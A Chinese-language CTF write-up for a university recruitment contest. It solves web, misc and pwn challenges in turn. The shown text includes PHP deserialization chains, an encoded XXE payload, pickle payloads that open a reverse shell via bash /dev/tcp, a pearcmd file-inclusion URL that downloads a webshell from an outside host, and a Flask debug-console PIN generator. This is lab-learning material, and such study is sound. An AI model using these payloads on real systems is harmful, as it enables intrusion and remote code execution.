御林招新赛

[Baby]†签到†

关注公众号,回复 FLAG ,获得 flag

[Baby]骑士之梦

游戏分数要超过19198分,理论上手打可行,但是我是手残,只能考虑修改js((

翻了翻js代码,发现game文件中的touchableobject.js,里面的这一段代码有点意思

加100分,盲猜是打一只怪给100分,实践后确实是这样,那就把100改成100000,打一只怪就能超过19198分了()

千万千万注意,改完代码后要 ctrl+s 保存,然后就可以愉快游戏了

[Baby]Babyunserialize

反序列化

PHP的序列化和反序列化入门

PHP反序列化漏洞总结

眼花缭乱好多个类,要怎么用呢

一开始以为只需要用到一个类

搜一下MD5碰撞很快就能实现echo $this->notes;功能,但是不知道怎么用它来输出flag或者flag文件

在stfw之后,明白了这几个类其实都要用到

php反序列化中的pop链

进行例题的学习之后,可以来看现在这道题

1、可以判断最后应该使用 system() ,即最后应该调用的是 YULIN 类

2、而需要利用 __invoke() 来调用 YULIN 中的 system() ,那么就要把 YULIN 当作函数使用,可以发现 C 类中恰有调用函数的代码

3、要利用 C 类中的调用函数,需要用 __get() 来触发,就要当使用了 C 类中不存在的成员,可以发现 T 类中有输出成员 var 的操作,符合所需

4、而要利用 T 类中的操作,需要触发 __toString() ,即将 T 类当字符串输出

这下巧了,刚刚解决了 F 类中的输出问题,那么可以直接将 F 类中的 $notes 直接赋值为 T 类就ok了

按照这种思路可以编写如下代码

<?php
$flag = 1;
class C{
    public $manba;
}
class YULIN{
    public $cmd='sort flag.php'; //用sort是因为cat是输出到一个文件内的,所以比较麻烦,而sort有直接回显
}
class T{
    public $sth;
}
class F{
    public $user = "QNKCDZO";
    public $notes;
}
$c = new C();
$yu = new YULIN();
$t = new T();
$f = new F();

$c -> manba = $yu;
$t -> sth = $c;
$f -> notes = $t;
echo serialize($f);
?>

然后就得到这么一串

O:1:"F":2:{s:4:"user";s:7:"QNKCDZO";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:5:"manba";O:5:"YULIN":1:{s:3:"cmd";s:13:"sort flag.php";}}}}

需要注意的是,我们并不希望触发 YULIN 类中的 __wakeup() 魔术方法,则需要绕过

一种简单的方法是将 "YULIN":1 中的 1 改为 2

O:1:"F":2:{s:4:"user";s:7:"QNKCDZO";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:5:"manba";O:5:"YULIN":2:{s:3:"cmd";s:13:"sort flag.php";}}}}

最后在进行base64编码,然后通过GET传入就行了

[Baby]Backdo0r

flag1

蚁剑直接连接即可

flag2

给传入的 yulin 变量进行了base64编码,现在没法直接连了,怎么办呢

首先我们需要了解一下蚁剑连接web服务器的原理

中国蚁剑的工作原理

所以蚁剑实际上是进行了POST的传输,并且内容为命令,而现在传入的命令被base64解密了,想方法还原过来

一开始以为编码器里面的base64可以解决问题,但是研究了半天,发现其实不太对

这个编码器是连正常的命令比如 @eval($_POST['cmd']) 的,进行编码是为了绕过WAF,最后还是自行有一个解码操作的,所以对于这题,我们就得自己写一个编码器

这听起来好像很难的样子,其实很简单,只需要把蚁剑要传输的命令直接base64编码一下就行了

就写这一句话,然后选上这个编码器,就连接成功了

然后可以看到flag文件

flag3

连接成功后,看到根目录

直接看fl444444g2文件里面发现是空的,再次读题,要求我们执行 /getflag来获取到flag

右键打开终端,发现没有用,应该是在 disable_functions 中禁掉了

stfw

攻防兼备:中国蚁剑使用指南及特征流量

Disable_functions绕过整合

网络安全-LD_PRELOAD,请求劫持

下载一个 绕过disable_functions 插件

然后按照说明,使用 LD_PROELOAD 上传文件

可惜报错了,上传失败

那就换个模式,比如

然后就可以愉快地执行命令了

[Easy]⚡神剑御雷真诀⚡

做完题目之后才知道题目类型叫反序列化字符串逃逸,只能说都是误打误撞写出来的()

通过CTF题目学习反序列化字符串逃逸

首先最最重要的还是要先读懂代码(注意 Taiji_Xuanqing_Dao_Tai.php 和 Taiji_Xuanqing_Dao_Shang.php 这两份代码都是可以访问的())

要求是要把 $Shang->tupo 改为 ‘TuPo’

考虑这样传入 ?Mnemonics_Shang=";s:4:"tupo";s:4:"TuPo";},那么就是

可能会有截断的作用,所以此时我们要考虑如何令红线处没有问题

查看check函数,发现其起字符串替换的功能,而且发现字符串的长短不同,这可能是一个突破口

发现只有 ningshen 换为 yinspirit 才增加了一个字符,但是 ningshen 被禁了

突发奇想一个做法,就是 chu_qiaoingshen ,这样会先把 chu_qiao 替换为 yangshen ,那么字符串就会变成 yangsheningshen ,后面就可以识别到 ningshen 并且替换为 yinspirit ,这样就可以绕过对 ningshen 的识别,并且总体多了一个字符

chu_qiaoingshen -> yangsheyinspirit

然后看到xiulian内容此时的长度是23,那我们就可以在最前面加上23个 chu_qiaoingshen ,进行字符数的增加,使其合理

?Mnemonics_Shang=chu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshen";s:4:"tupo";s:4:"TuPo";}

可以发现真的成功截断了

这次是要将 $Tai->advance->advance->advance->dacheng 的值改为 ‘DaCheng’

研究魔术方法,好像搞不了

发现其实可以从 Mnemonics_Tai2 入手

传入 Mnemonics_Tai1=&Mnemonics_Tai2=;s:7:"advance";O:7:"Dong_Xu":1:{s:7:"advance";O:6:"Fan_Xu":1:{s:7:"advance";O:9:"Kong_Ming":1:{s:7:"dacheng";s:7:"DaCheng";}}}} 看看

还是字符串长度不对应的问题,考虑用 Mnemonics_Tai1 和下的 check 函数中的替换解决

考虑将这一段纳入xiulian中,所以此时要传入一个字符串,替换后字符串长度能减少

发现 DongXu -> FanXu 刚好满足我们的需求,那接下来就简单了

传入 Mnemonics_Tai1=DongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXu&Mnemonics_Tai2=;s:7:"advance";O:7:"Dong_Xu":1:{s:7:"advance";O:6:"Fan_Xu":1:{s:7:"advance";O:9:"Kong_Ming":1:{s:7:"dacheng";s:7:"DaCheng";}}}} 使xiulian的长度合理即可

然后就成功截断,修改成功了

[Easy+]假·调查问卷

先看看网页源代码

抓个包看看

以及hint

题型是xxe,是通过xml来获得信息

但是 SYSTEM 和 PUBLIC 被ban了,在搜搜怎么绕过

搜到一堆什么用utf-16编码绕过的,但是完全不知道怎么搞,离谱的是网上的绕过方法基本都是这个,而且连言辞都一模一样((

在努力之下找到一篇不同的()

XXE-Notes

看不懂,先学学xml

XML从入门到深入(超详细)

那大概看懂上面的方法了,就是先引入一个内部参数实体,然后赋值为命令 <!ENTITY b SYSTEM "file://app/fl4g2533333333.txt">

虽然 SYSTEM 会被ban,但是这个参数实体是可以进行html编码的,这样就可以绕过了

那么我们只要在这个DTD里面引用这个参数,就可以等价于写上上面那句命令(普通外部实体)了

最后输出 b 就ok了

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [<!ENTITY % a "&#x3c;&#x21;&#x45;&#x4e;&#x54;&#x49;&#x54;&#x59;&#x20;&#x62;&#x20;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4d;&#x20;&#x22;&#x66;&#x69;&#x6c;&#x65;&#x3a;&#x2f;&#x2f;&#x2f;&#x61;&#x70;&#x70;&#x2f;&#x66;&#x6c;&#x34;&#x67;&#x32;&#x35;&#x33;&#x33;&#x33;&#x33;&#x33;&#x33;&#x33;&#x33;&#x2e;&#x74;&#x78;&#x74;&#x22;&#x20;&#x3e;" > 
    %a;
    ]>
  <root>
    <feedback>
      &b;
    </feedback>
  </root>

[Mix]ez_Pickle

pickle反序列化初探

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 (居然是rxz佬,好久之前还看他的网课来着)

无过滤

先随便试试,然后可以试着用bp抓包

发现登录访问主页面时是通过 token_ez_pickle1 来识别用户身份的,通过上面的学习我们就可以尝试编写pickle数据然后加密,来通过 token_ez_pickle1 传入进行某些功能

import pickle
import base64
import pickletools

# 根据原token来获得class名和大致内容
class User:
    username = ''
    password = ''
    def __init__(self, username, password):
        self.username = username
        self.password = password

da=b'''c__main__
User
(S'123'
S'123'
tR.'''

qwq=pickle.loads(da)
pickletools.dis(pickle.dumps(qwq, 0))
print( base64.b64encode(da) )

得到的 Y19fbWFpbl9fClVzZXIKKFMnMTIzJwpTJzEyMycKdFIu 这串字符就有传入 {'username': '123', 'password': '123'} 的作用

而由于我们一定要传入这样的一个类,不然就会被识别,然后就

所以不能直接传命令

但是我们可以拼接 opcode ,可以将我们要执行的命令拼接在原 opcode 的前面

可能 opcode 是由栈存储的,所以就会先识别到后面的数据,那么就会先传入User类,然后再执行命令(在load opcode的时候)

如果把命令放后面的话,命令执行完好像load就会自动停下,就没法传入User类命令了

那么可以试试反弹shell

da=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'"
tRc__main__
User
(S'123'
S'123'
tR.'''

然后就可以得到flag了

简单绕过

过滤了 R

pickle反序列化的利用技巧总结

类似的,可以写出

da=b'''(cos
system
S"bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'"
o(c__main__
User
S'123'
S'123'
o.'''

手搓字节码?

题目好像出锅了,导致我第二问解法可以直出

[Easy]Yulin浏览器

只有一个输入框,看看网页源代码

需要通过get传入YulinURL,试一试

需要传入一个http协议的连接,可以通过这个来访问内网

但是 127 被ban了,没法访问127.0.0.1

stfw

可以用 0 来代替,具体是 ?YulinURL=http://0/

这是一道 ssrf,并且算提示我们要扫描端口

可以用bp扫一下

可以把线程开多一点,这样扫的话快一点

发现一个长度非常长的,应该就是扫到了,访问一下 ?YulinURL=http://0:5237

接下来试着输入username和password,跳转到主页面了,试了一些注入方法都好像没用

其实提示了是 FastCGI

ctfhub利用SSRF攻击内网FastCGI协议

要用到 Gopherus 来帮助写脚本,下面是使用说明

Gopherus

那现在就差找一个注入点了

还是用bp抓包,发现传username和password中间又发送了一个请求

感觉可以通过 src 来注入脚本

发现确实有用,那后面就是简单的RCE了

[EASY]杂鱼杂鱼~

代码挺好懂的,传了MD5碰撞的字符串之后,发现要整个程序运行完服务器才会把一整个包发回来,导致我们接收到数据包的时候flag文件已经被删除了

一开始思路是考虑令 echo $username."酱,你的flag在这里哦: ".$rand_name."<br>"; 这句输出报错,然后程序就会中断,那么文件就不会被删除了

但是被小学姐否认了()

肝了多久都无果,敲打出题人要flag

看看抽象 hint

研究了很久,还是无果

继续敲打小学姐

(小学姐都被我敲打到只差把答案说出来了((

那考虑可以传入一个phpinfo,至于绕过MD5碰撞,可以用 fastcoll 来生成MD5相同的文件,然后千万千万注意,这里要先直接导入到burp里,然后再用url编码!因为直接复制粘贴的话 %00 就会变成 %20 ,导致MD5不同

url编码之后,考虑写python脚本

import socket

# 目标服务器的IP和端口
host = '121.5.35.176'
port = 30022

# 要发送的POST请求的数据
url = '/'
post_data = 'username=...$give_me_flag=...' # 这里太长了就不在wp里打出来了
headers = f"""POST {url} HTTP/1.1\r\nHost: {host}:{port}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(post_data)}\r\n\r\n{post_data}  
"""

# 创建一个TCP/IP套接字
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    # 连接到服务器
    s.connect((host, port))

    # 发送HTTP POST请求
    s.sendall(headers.encode('utf-8'))

    # 接收服务器的响应
    response = b''
    while True:
        data = s.recv(1024)
        print(data.decode('utf-8', errors='ignore'))
        if data == '\n':
            break;
        # 打印服务器的响应
    print('Response from server:')

运行,会发现服务器现在并不会在程序全部运行完再一起打包发送回来

因此我们可以在文件删除前得到文件名,然后在5秒内访问该文件就可以得到flag了

[Mid]Shiro的春天

按照提示来stfw

Spring heapdump信息泄露复现——从0到1

spring-heapdump内存泄露漏洞复现

springboot读取shirokey命令执行

按照这几篇博客里面走就能把这道题写出来了()

这道题目的是要获得shirokey,然后可以通过工具来进行rce

首先需要获得dump

但是 /actuator/heapdump 这样会重定向 (至于这个是扫网页得到的)

可以用分号来防止重定向 /;/actuator/heapdump

至于什么原理,我也没仔细了解(),是和写shiro的java代码有关

然后就可以下载heapdump了,后面就是照着博客走了

import base64
import struct
data=struct.pack('<bbbbbbbbbbbbbbbb',-76, 119, 104, -52, 117, -53, 50, 109, 66, 38, -56, 4, 43, 19, -57, 111)
print(base64.b64encode(data))

# tHdozHXLMm1CJsgEKxPHbw==

感觉这道题最麻烦的就是配置jdk环境了(),后面一直运行不了rce的工具,最后在环境变量里把1.8版本的java路径调前才成功运行的

[Mid-]包含点啥🤪

很难有思路,只能说知道就知道,不知道就写不了()

还得靠STFw

LFI to RCE [NewStarCtf]Include 🍐

以及

然后STFW就有方向了()

文件包含经典之pearcmd的妙用

(出题人的blog)

关于pearcmd.php的利用

那么其实就和文章里讲的差不多了,我们要利用

http://prob00-028.recruit.yulinsec.cn/?file=/usr/local/lib/php/pearcmd&+install+https://xxxx/shell.php

来将已经写入一句话木马的php文件下载到靶机的/usr/local/lib/php/pearcmd下,确实是一个很巧妙地思路

现在要解决的问题就是要怎么找到 https://xxxx/shell.php 来下载了

一开始我想利用 backdoor 那道题的 index.php 给拿过来下进去(),但是最后发现用蚁剑连不了

我估计只把html的代码下下来了,毕竟我们正常都看不到index.php里面到底写了什么,甚至要利用木马然后蚁剑连接,所以简单地下载肯定是没有php代码的(没有一句话木马)

所以还是只能想方法用能公网访问的服务器传了

还是STFW,看到了好东西

CTF-文件包含(持续更新)

如何使用Python Flask发布web页面至公网并实现远程访问【内网穿透】

所以我们可以先在本地简单用python搭建一个服务器,然后用cpolar将该服务器的本地端口映射到公网,这样就能使公网也能访问到我们内网的服务器了,这样就不用花时间花钱去配置服务器了

至于怎么用cpolar配,可以跟着教程,然后创建一个新文件夹,放入一句话木马的php文件,在这个文件夹上利用python搭建服务器,设置好端口

cpolar配置好后就可以用cpolar给的连接来访问了

http://prob00-028.recruit.yulinsec.cn/?file=/usr/local/lib/php/pearcmd&+install+https://xxxx/shell.php

接下来就可以用命令下载了

下载成功,试着用蚁剑连接一下,发现成功连进去了

这里注意连接的时候不用加.php,原因看源代码

来到根目录,发现有 readflag 文件,试着访问一下

还有口算题,但是回答不了()

原来是要回答的,但是蚁剑bug,导致直接输出GG了(((

学一下反弹shell吧

那还是要先用 cpolar 将内网服务器映射到公网

这次我没有在虚拟机上搞,而是直接用Windows搞

先配置好(注意要在隧道列表中启动),然后用nc监听

然后应该又是蚁剑的bug(或者是靶机配置问题),我们没法在靶机上执行上面的命令

那么可以先建一个文件,写入命令

然后在靶机终端运行这个文件

就可以发现监听到了,现在就可以在我们电脑上输入命令,然后就会弹到靶机上执行

大功告成

给个彩蛋

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main() {
    int pipe_in[2], pipe_out[2];
    pid_t pid;
    char buffer[256];
    int num1, num2, result;

    // Create pipes
    if (pipe(pipe_in) == -1 || pipe(pipe_out) == -1) {
        perror("pipe");
        exit(EXIT_FAILURE);
    }

    pid = fork();
    if (pid == -1) {
        perror("fork");
        exit(EXIT_FAILURE);
    }

    if (pid == 0) {
        // Child process
        close(pipe_in[1]);  // Close unused write end
        close(pipe_out[0]); // Close unused read end

        dup2(pipe_in[0], STDIN_FILENO);
        dup2(pipe_out[1], STDOUT_FILENO);

        execl("/readflag", "readflag", NULL);
        perror("execl");
        exit(EXIT_FAILURE);
    } else {
        // Parent process
        close(pipe_in[0]);  // Close unused read end
        close(pipe_out[1]); // Close unused write end

        // Read the output from readflag
        if (read(pipe_out[0], buffer, sizeof(buffer)) > 0) {
            // Extract numbers from the output
            if (sscanf(buffer, "%d + %d = ?", &num1, &num2) == 2) {
                result = num1 + num2;

                // Send the result back to readflag
                snprintf(buffer, sizeof(buffer), "%d\n", result);
                write(pipe_in[1], buffer, strlen(buffer));

                // Read and print the final output
                if (read(pipe_out[0], buffer, sizeof(buffer)) > 0) {
                    printf("Final Output: %s", buffer);
                }
            } else {
                fprintf(stderr, "Failed to parse the addition problem.\n");
            }
        }

        // Close pipes
        close(pipe_in[1]);
        close(pipe_out[0]);
    }

    return 0;
}

研究一下这份代码,发现是可以在本地上执行shell命令并且实现交互功能用的脚本,就是可以读取算术题并回答

写入之后,执行

发现有一个输出的文件

在终端执行

./ 有执行文件的功能

[Mid] 🦌与🍘与水手服

连接环境

要求我们输入一个数字

浅试了一下

可以猜测大概是要我们猜一个数字,如果数字大了就会输出 “你喂的太多了,小鹿们吃不下了” ,数字小了就会输出 “SHIKA!” “UMA!”

那现在就是漫长的尝试了

先判断数字的位数,尝试后可以得到大致范围为 10^106 ~ 10^107-1 这个区间,那么就从高位到低位一位一位用二分方法去试,直到每一位都能在合适的基础上最大

这样相当麻烦,每一位平均试4次,那么一共就要试400多次(但是我还是这么做了())

或者说可以整个区间去二分,差不多100多次就可以试出来,但是每次二分取 mid 其实也会相当麻烦(如果是手操的话)

最简单的方法肯定是写脚本二分了,但是我不会写()

最后可以试出这样一个大数

16674540931184946922783187978228460499279840752046544384107237838107532103558292289097540299192481699966121

好好好,被制裁了

老老实实打正解()

试的时候可以发现报错信息,应该是和二进制相关

然后就在n里面试了1、2、4、8、16、32等等

其实敏感一点可以发现这里面输出的时候有的总是很快,有的总是很慢(提一嘴,SHIKA和UMA的输出是随机的,和题目无关)

那么看看刚刚用非预期解打出来的数字,看看它二进制时的每一位数字

惊讶的发现,当某一位上是1时,输入对应的二进制数就会很慢才输出,0则反之

那么大概可以明确解题的方向了,就是写一个脚本,爆破每一位是1还是0

这里特别要注意这个sleep的参数要设置好,而且也和网络有点关系()

import socket
import time

MAXN = 100000

def connect_to_server(host, port, number):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host, port))
        s.recv(MAXN)
        s.sendall(b'y\n')
        s.sendall(str(number).encode() + b'\n')
        time.sleep(0.6)
        response = s.recv(MAXN).decode()
        now = s
        return response, now
    finally:
        s.close()

if __name__ == "__main__":
    HOST = '101.35.209.40'
    PORT = 1088
    ans = 0
    x = 1
    while 1:
        response, now = connect_to_server(HOST, PORT, x)
        if response.find('太多了') >= 1:
            break
        elif response.find('SHIKA') < 1 and response.find('UMA') < 1:
            ans |= x
            print(f"qwq {x} {ans} {response.find('SHIKA')} {response.find('UMA')}")
        x <<= 1
        # print(x)
    print(ans)

# 16674540931184946922783187978228460499279840752046544384107237838107532103558292289097540299192481699966121 n的答案
# 283010019888230765950004414083762979254748142659934771166115098239468121706627254750244797558941808590848 y的答案

[Mid]学长的结课论文

给了hint,要找到五个part

附件是word文档和ppt

先打开word,发现这个男娘字体,可能藏着flag

然后大概浏览一下文本,发现小字

放大

得到 part4:f4db-

研究”男娘”,发现是一种叫 Essay-Font 的字体,stfw无果,很可能就是自己搞的一种字体包

先stfw,发现有个基本操作,就是可以把 .docx 和 .pptx 后缀改成 .zip ,这样就能看到文件的全部内容了

翻一翻文件

发现这些后缀是 .odttf ,那就先 stfw

[HNCTF 2022 WEEK2]calligraphy 复现

好好好,过程一模一样

得到 part1:flag{de2a5c5a-

word文档里还有两个,都是最后才找到的

首先是 part2 ,这个比较抽象

首先可以翻到这个文件

然后看到中间有第二段,为 part2

说实话,这里没个part的字眼我都没发现这个是flag

那就 part2:557b-

然后是 part5

翻翻文件发现有个 excel 表格比较奇怪

这个表格正常好像打不开,那么可以仿照对 .docx 和 .pptx 的处理方法,修改后缀名为 .zip

因为题目里有提到宏,那么可能和这个 vba 有关系

用hex编辑器打开看看,可以发现最后有这段文字

得到 part5:-617fa2367785} ,是最后一个part

只剩 part3 了,来看看ppt内的东西

很容易可以翻到这个文件

得到 part3:417b-

现在得到所有的part了,可以将它们组起来 ->

flag{de2a5c5a-557b-417b-f4db-617fa2367785}

(注意 ‘-‘ 不要丢,然后最后只有一个 ‘-‘ 连接)

[Mix]PWN

还没学 pwntools ,用的python的socket库

Yu者斗Flag龙

是一个交互的小游戏,考虑直接写脚本

我一开始的操作思路是先每人各攻击一次,然后再各给自己回一次血

但是发现基本在龙一半血之前就会先被打败,龙的伤害挺高的

那就考虑回两次血,成功率大大提高,但做不到百分百(脸很黑的时候龙会一直攻击一个人,而且攻击的频率也会变高)

import socket
import time
import re

MAXN = 100000


def connect_to_server(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.recv(MAXN).decode()
    s.sendall(b'status\n')
    # time.sleep(0.6)
    res = s.recv(MAXN).decode()

    lines = res.splitlines()
    lines = lines[2:]
    result_text = '\n'.join(lines)
    pattern = '\[([^\[\]\n]+)\]'
    matches = re.findall(pattern, result_text)

    x = 0
    print("qwq", matches)

    while 1:
        Man = matches[x%3]
        number = x % 9
        if number <= 2:
            message = f'[{Man}] attack\n'
            byte_massage = message.encode('utf-8')
            s.sendall(byte_massage)
        elif number <= 9:
            message = f'[{Man}] heal [{Man}]\n'
            byte_massage = message.encode('utf-8')
            s.sendall(byte_massage)
        # time.sleep(0.2)
        res = s.recv(MAXN).decode()
        print(res)
        x += 1

        s.sendall(b'status\n')
        # time.sleep(0.2)
        res = s.recv(MAXN).decode()
        print(res)

        if res.find('command') > 0:
            break

    while 1:
        cmd = input()
        message = f'{cmd}\n'
        byte_massage = message.encode('utf-8')
        s.sendall(byte_massage)
        res = s.recv(MAXN).decode()
        print(res)

    s.close()

if __name__ == "__main__":
    HOST = '101.35.209.40'
    PORT = 11084
    connect_to_server(HOST, PORT)

[Mid]斩🗡️相思

查看源代码提示我们访问 /memory

# -*- coding: utf-8 -*-
from flask import Flask, request, render_template, json

app = Flask(__name__)

black_list = ["in", "_", "lo", "ve"]

def check(data):
    for word in black_list:
        if word in str(data):
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def recursive_print(obj, indent=0):
    result = ""
    if isinstance(obj, list):
        if not obj:
            result += "none\n"
        else:
            for item in obj:
                result += recursive_print(item, indent + 2)
    elif isinstance(obj, dict):
        for key, value in obj.items():
            result += " " * indent + str(key) + ":\n"
            result += recursive_print(value, indent + 2)
    else:
        result += " " * indent + str(obj) + "\n"
    return result

class Ta:
    def __init__(self):
        self.name = "none"

    def __repr__(self):
        return f"Ta(name={self.name})"

TA = []

@app.route("/")
def poem():
    return render_template("poem.html")

@app.route("/memory")
def memory():
    with open(__file__, 'r', encoding='utf-8') as f:
        return f.read()

@app.route("/remember", methods=['POST'])
def remember():
    if request.data:
        try:
            if not check(request.data):
                return "红颜远,相思苦。几番意,难相负。"
            data = json.loads(request.data)
            if "name" not in data:
                return "芳心苦,忍回顾,悔不及,难相处。"
            ta = Ta()
            merge(data, ta)
            TA.append(ta)
            return "深情苦,一生苦,痴情只为无情苦。"
        except Exception as e:
            print(e)
            return "十年情思百年渡,不斩相思不忍顾。"
    else:
        return "旧时意,沧桑过。还记否,伤心人。"

@app.route("/show")
def show():
    return "\n" + recursive_print(TA) + "\n"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=1314, debug=True)

这写了一个 Flask 应用,不会做了

STFW,才知道这个叫做原型链污染

基于flask常见trick——unicode&进制编码绕过

(贴个js原型链污染,虽然这道是python原型链污染((
js原型链污染(原理+分析+例题)

因为源代码中有个merge函数,所以可以通过这一部分json数据

@app.route("/memory")
def memory():
    with open(__file__, 'r', encoding='utf-8') as f:
        return f.read()

将打开的文件导向我们想打开的

注意这里过滤 in _ lo ve ,上面的文章告诉我们可以通过Unicode编码绕过

然后如果你传入的是一个不存在的文件的话会报错

如果扫了一下服务器会发现其实还有 /console 可以访问

但是要求我们输入PIN码

继续STFW

flask–通过算pin码进入控制台

关于ctf中flask算pin总结

然后就跟着步骤获取信息

其他的都还好,就是访问 /proc/1/cgroup 显示的是 0::/ ,那么就不用拼接了

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
        '/usr/local/lib/python3.10/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '2485377892354',  # /sys/class/net/eth0/address 十进制
    '41da86c2-9d12-491d-a2ce-7a14a5586f5b'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

根据实际修改一下红线处的数据(特别注意python版本!)

然后运行可以得到PIN码

在console那输入之后就可以RCE了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇